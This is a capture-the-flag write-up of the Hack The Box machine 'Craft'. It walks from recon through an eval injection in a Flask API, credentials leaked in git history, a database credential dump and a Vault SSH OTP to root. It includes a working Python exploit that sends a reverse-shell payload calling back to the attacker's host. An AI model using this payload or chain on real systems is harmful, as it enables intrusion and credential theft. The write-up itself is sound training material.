image

Recon

As usual, we started out by scanning for open ports:

root@kali:~# nmap -sV -p- 10.10.10.110
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-23 06:33 UTC
Nmap scan report for 10.10.10.110
Host is up (0.018s latency).
Not shown: 65531 closed ports
PORT     STATE    SERVICE  VERSION
22/tcp   open     ssh      OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
443/tcp  open     ssl/http nginx 1.15.8
5355/tcp filtered llmnr
6022/tcp open     ssh      (protocol 2.0)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.70%I=7%D=9/23%Time=5D886761%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.50 seconds

After we've enumerated the listening ports, we began browsing the website on TCP port 443. A landing page greeted us and provided us with two distinct links on two different subdomains, api and gogs. But before being able to access them we had to add them to our hosts file.

:::bash echo '10.10.10.110 craft.htb api.craft.htb gogs.craft.htb' >> /etc/hosts

Inspecting Gogs

As soon as we've reached gogs.craft.htb, we started looking for publicly accessible git repositories. Sure enough we found the repository for the API, exposed at api.craft.htb. After just a few minutes of browsing the source code, we found a major flaw in the brew endpoint used to add a new beer.

The vulnerable endpoint is located at craft_api/api/brew/endpoints/brew.py:

@ns.route('/')
class BrewCollection(Resource):

    @auth.auth_required
    @api.expect(beer_entry)
    def post(self):
        """
        Creates a new brew entry.
        """

        # make sure the ABV value is sane.
        if eval('%s > 1' % request.json['abv']):
            return "ABV must be a decimal value less than 1.0", 400
        else:
            create_brew(request.json)
            return None, 201

The use of eval stood out like a sore thumb, it evaluates user controlled input (POST body field abv). The only thing which held us back from abusing this endpoint, was the fact that we first had to authenticate in order to use the API, as indicated by the @auth.auth_required decorator.

We consulted the source once again to find out what kind of authentication we were dealing with. craft_api/api/auth/endpoints/auth.py read:

def auth_login():
    auth = request.authorization

    try:
        auth_results = User.query.filter(User.username == auth.username, User.password == auth.password).one()
    except:
        auth_results = ''

    if type(auth_results) is User:
        token = jwt.encode({'user': auth.username, 'exp' : datetime.datetime.utcnow() + datetime.timedelta(minutes=5)}, secret)
        return jsonify({'token' : token.decode('UTF-8')})

    return make_response('Authentication failed', 401, {'WWW-Authenticate' : 'Basic realm="Craft API Login"'})


@ns.route('/login')
class AuthCollection(Resource):
    def get(self):
        """
        Create an authentication token provided valid username and password.
        """
        token = auth_login()
        return token

We found our answer, we had to provide a username and password to authenticate with basic-auth. The response should provide us with a JWT token.

The auth_required decorator, which was preventing us from consuming the /brew endpoint, read:

def auth_required(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        if 'X-Craft-Api-Token' in request.headers:
            token = request.headers['X-Craft-Api-Token']
        try:
            token_decoded = jwt.decode(token, secret)
        except:
            return {'message' : 'Invalid token or no token found.'}, 403

        return f(*args, **kwargs)

    return decorated

The auth_required decorator checks for a valid X-Craft-Api-Token header value.

After gaining this insight we dug around in the git commits to search for API credentials. A few minutes later, after inspecting each commit, we found what we were looking for:

root@kali:~/craft-api# git show a2d28ed1554adddfcfb845879bfea09f976ab7c1
commit a2d28ed1554adddfcfb845879bfea09f976ab7c1
Author: dinesh <dinesh@craft.htb>
Date:   Wed Feb 6 23:18:51 2019 -0500

    Cleanup test

diff --git a/tests/test.py b/tests/test.py
index 40d5470..9b0e2e2 100644
--- a/tests/test.py
+++ b/tests/test.py
@@ -3,7 +3,7 @@
import requests
import json

-response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
+response = requests.get('https://api.craft.htb/api/auth/login',  auth=('', ''), verify=False)
json_response = json.loads(response.text)
token =  json_response['token']

We immediately tried to authenticate as dinesh. Luckily the credentials were valid and granted us access to the API. A few moments later we built a quick and dirty Python script to authenticate and invoke the vulnerable endpoint to spawn a reverse shell.

import requests

requests.packages.urllib3.disable_warnings()


BASE_URL = 'https://api.craft.htb/api'

with requests.Session() as session:
    session.verify = False
    session.auth = ('dinesh', '4aUh0A8PbVJxgd')

    token = session.get(BASE_URL + '/auth/login').json()['token']
    session.headers.update({'X-Craft-API-Token': token})
    session.post(BASE_URL + '/brew/', json={
        'brewer': 'brew brew',
        'name': 'name name',
        'style': 'style 2',
        'abv': """exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.12.139',9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i'])")"""
    })

To capture the incoming reverse shell, we started the netcat listener and triggered the exploit.

root@kali:~/craft-api# nc -lvp 9999
listening on [any] 9999 ...
connect to [10.10.12.139] from craft.htb [10.10.10.110] 49522
/bin/sh: can't access tty; job control turned off
/opt/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

We've gained an initial foothold on the box. After taking a look around we determined that we ended up inside a docker container.

Going deeper

It took a while for us to figure out where to go from here. After breaching the web server we had to somehow move laterally to carry on, as the docker container did not contain anything that spiked our interest.

After re-reading the source code we realized we completely ignored the database, which is used to store the users and brews for the API. The dbtest.py script within the repository gave us some hints on how to access the database:

#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                            user=settings.MYSQL_DATABASE_USER,
                            password=settings.MYSQL_DATABASE_PASSWORD,
                            db=settings.MYSQL_DATABASE_DB,
                            cursorclass=pymysql.cursors.DictCursor)

try:
    with connection.cursor() as cursor:
        sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
        cursor.execute(sql)
        result = cursor.fetchone()
        print(result)

finally:
    connection.close()

The settings module should contain the credentials to access the database. After we realized settings.py was present in .gitignore we used the still established reverse shell to search for the file. A few seconds later we found it located under /opt/app/craft_api/settings.py:

# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False  # Do not use debug mode in production

# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'

# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False

To make our lives easier we copied dbtest.py and modified it to read out all users from the configured database:

#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                            user=settings.MYSQL_DATABASE_USER,
                            password=settings.MYSQL_DATABASE_PASSWORD,
                            db=settings.MYSQL_DATABASE_DB,
                            cursorclass=pymysql.cursors.DictCursor)

try:
    with connection.cursor() as cursor:
        sql = "SELECT * FROM user;"
        cursor.execute(sql)
        result = cursor.fetchone()
        print(result)

finally:
    connection.close()

Then we executed the modified script and got back the credentials:

[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'},
{'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'},
{'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]

The obtained credentials granted us access to each user's Gogs account and their respective repositories. After going through each user's account, we found Gilfoyle's private repository called craft-infra, the goldmine we were hoping for.

image

The docker-compose.yml file gave us a great overview of the setup we found ourselves in:

version: '3'
services:
  db:
    image: mysql
    expose:
      - "3306"
    volumes:
      - /opt/storage/mysql:/var/lib/mysql
  repo:
    image: gogs/gogs
    expose:
      - "6022"
      - "3000"
    ports:
      - 6022:6022
    volumes:
      - /opt/storage/gogs:/data
  home:
    image: craft-flask:master
    volumes:
      - /opt/storage/craft-home/:/opt/app
    expose:
      - "8888"
    command: [python, ./app.py]
  api:
    image: craft-flask:master
    volumes:
      - /opt/storage/craft-api/:/opt/app
    expose:
      - "8888"
    command: [python, ./app.py]
  proxy:
    image: nginx:latest
    volumes:
      - /opt/storage/nginx/conf/nginx.conf:/etc/nginx/nginx.conf
      - /opt/storage/nginx/pki/:/etc/nginx/pki/
    ports:
      - 80:80
      - 443:443
  vault:
    image: craft-vault:master
    volumes:
      - /opt/storage/vault/config:/vault/config
      - /opt/storage/vault/pki:/vault/pki
      - /opt/storage/vault/log:/vault/logs
      - /opt/storage/vault/data:/vault/data
    expose:
      - "8200"
    entrypoint: vault server -config /vault/config/config.hcl
    privileged: true

More importantly, we pulled a copy of the SSH public- and private key which were carelessly committed as well. We attempted to connect to the target host:

root@kali:~# ssh -i id_rsa  gilfoyle@craft.htb
The authenticity of host 'craft.htb (10.10.10.110)' can't be established.
ECDSA key fingerprint is SHA256:sFjoHo6ersU0f0BTzabUkFYHOr6hBzWsSK0MK5dwYAw.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'craft.htb,10.10.10.110' (ECDSA) to the list of known hosts.


  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
  |\_________/|/ _ \
  |  |  |  |  | / | |
  |  |  |  |  | | | |
  |  |  |  |  | | | |
  |  |  |  |  | | | |
  |  |  |  |  | | | |
  |  |  |  |  | \_| |
  |  |  |  |  |\___/
  |\_|__|__|_/|
    \_________/



Enter passphrase for key 'id_rsa':

Bummer, the SSH key required a password.

We didn't think that brute forcing the SSH credentials was necessary at all because it's usually very slow and rarely a part in CTF challenges we've seen before. So instead of overthinking it, we went ahead and re-use the password we've previously obtained from the database.

Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Sep 23 09:22:58 2019 from 10.10.12.159
gilfoyle@craft:~$ id
uid=1001(gilfoyle) gid=1001(gilfoyle) groups=1001(gilfoyle)

And sure enough, we gained access as the user account gilfoyle. The user.txt flag was waiting for us as well, so we picked it up.

gilfoyle@craft:~$ ls -ltha
total 36K
drwx------ 4 gilfoyle gilfoyle 4.0K Feb  9  2019 .
-r-------- 1 gilfoyle gilfoyle   33 Feb  9  2019 user.txt
-rw-r--r-- 1 gilfoyle gilfoyle  634 Feb  9  2019 .bashrc
drwx------ 2 gilfoyle gilfoyle 4.0K Feb  9  2019 .ssh
-rw------- 1 gilfoyle gilfoyle 2.5K Feb  9  2019 .viminfo
drwxr-xr-x 3 root     root     4.0K Feb  9  2019 ..
drwx------ 3 gilfoyle gilfoyle 4.0K Feb  9  2019 .config
-rw------- 1 gilfoyle gilfoyle   36 Feb  9  2019 .vault-token
-rw-r--r-- 1 gilfoyle gilfoyle  148 Feb  8  2019 .profile

gilfoyle@craft:~$ cat user.txt
bbf4b0cadfa3d4e6d0914c9cd5a612d4

Root Flag

Our final challenge is the root.txt flag. As you might remember, the docker-compose.yml file indicated that there's only one docker container we haven't visited yet - the vault.

After we picked up the user flag we noticed the .vault-token file laying around. This was our way forward. We read the contents of the file:

gilfoyle@craft:~$ cat .vault-token
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9

We went back to the repository to gather more information about the configuration of the vault. It turned out the SSH secrets engine was enabled:

#!/bin/bash

# set up vault secrets backend

vault secrets enable ssh

vault write ssh/roles/root_otp \
    key_type=otp \
    default_user=root \
    cidr_list=0.0.0.0/0

With this, we had a good idea of how to proceed. We suspected we had to use vault ssh to connect to a host as the root user. Referring back to the docker-compose.yml file, we determined that none of the containers exposed an SSH port which can be used to gain a shell. Which left us with only one way forward, SSH into localhost.

We invoked vault ssh and were presented with the OTP code which we simply had to copy and paste:

gilfoyle@craft:~$ vault ssh root@localhost
WARNING: No -role specified. Use -role to tell Vault which ssh role to use for
authentication. In the future, you will need to tell Vault which role to use.
For now, Vault will attempt to guess based on the API response. This will be
removed in the Vault 1.1.
Vault SSH: Role: "root_otp"
WARNING: No -mode specified. Use -mode to tell Vault which ssh authentication
mode to use. In the future, you will need to tell Vault which mode to use.
For now, Vault will attempt to guess based on the API response. This guess
involves creating a temporary credential, reading its type, and then revoking
it. To reduce the number of API calls and surface area, specify -mode
directly. This will be removed in Vault 1.1.
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 2ea20f14-ba74-e89c-6743-55d00e51beac


  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
  |\_________/|/ _ \
  |  |  |  |  | / | |
  |  |  |  |  | | | |
  |  |  |  |  | | | |
  |  |  |  |  | | | |
  |  |  |  |  | | | |
  |  |  |  |  | \_| |
  |  |  |  |  |\___/
  |\_|__|__|_/|
    \_________/



Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~# id
uid=0(root) gid=0(root) groups=0(root)

We got in and captured the root.txt flag:

root@craft:~# ls -lth
total 4.0K
-r-------- 1 root root 33 Feb  9  2019 root.txt
root@craft:~# cat root.txt
831d64ef54d92c1af795daae28a11591

Shouts & Greetz

  • Thanks to the makers of hackthebox.eu for an awesome CTF platform and training ground
  • Thanks goes out to rotarydrone who created the box - we had a blast solving it